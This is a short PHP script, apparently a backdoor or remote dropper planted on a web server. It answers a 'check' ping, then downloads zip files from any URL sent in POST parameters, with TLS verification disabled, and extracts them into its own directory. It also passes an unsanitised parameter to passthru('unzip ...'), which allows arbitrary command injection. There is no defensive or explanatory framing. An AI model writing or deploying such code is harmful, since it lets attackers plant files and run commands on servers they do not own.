<?php

     $mode = $_POST['mode'];
     if ($mode == "check") {check();}
     if ($mode == "job") {job();}
     if ($mode == "direct") {direct();}




function check() {
    echo "host intitalized";
}



function direct() {
    $directfile = $_POST['directfile'];
 // Get The Zip File From Server
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $directfile);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_AUTOREFERER, true);
curl_setopt($ch, CURLOPT_BINARYTRANSFER,true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
curl_setopt($ch, CURLOPT_FILE, $directfile);
$pageD = curl_exec($ch);
if(!$pageD) {
 echo "CURL error: ".curl_error($ch);
}
curl_close($ch);
    echo "$directfile ready";

}



function job() {
    $file = $_POST['file'];
    $sfile = $_POST['sfile'];
    $zfile = $_POST['zfile'];

$zipFile = $zfile; // Local Zip File Path
$zipResource = fopen($zipFile, "w");
// Get The Zip File From Server
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $file);
curl_setopt($ch, CURLOPT_FAILONERROR, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_AUTOREFERER, true);
curl_setopt($ch, CURLOPT_BINARYTRANSFER,true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); 
curl_setopt($ch, CURLOPT_FILE, $zipResource);
$page = curl_exec($ch);
if(!$page) {
 echo "CURL error: ".curl_error($ch);
}
curl_close($ch);

passthru("unzip $zfile 2>&1");
passthru("unzip $zfile");

/* Open the Zip file */
$zip = new ZipArchive;
$extractPath = "./";
if($zip->open($zipFile) != "true"){
 echo "Unable to open the Zip File";
} 
/* Extract Zip File */
$zip->extractTo($extractPath);
$zip->close();
unlink($zipFile);

echo "$sfile ready";


}


?>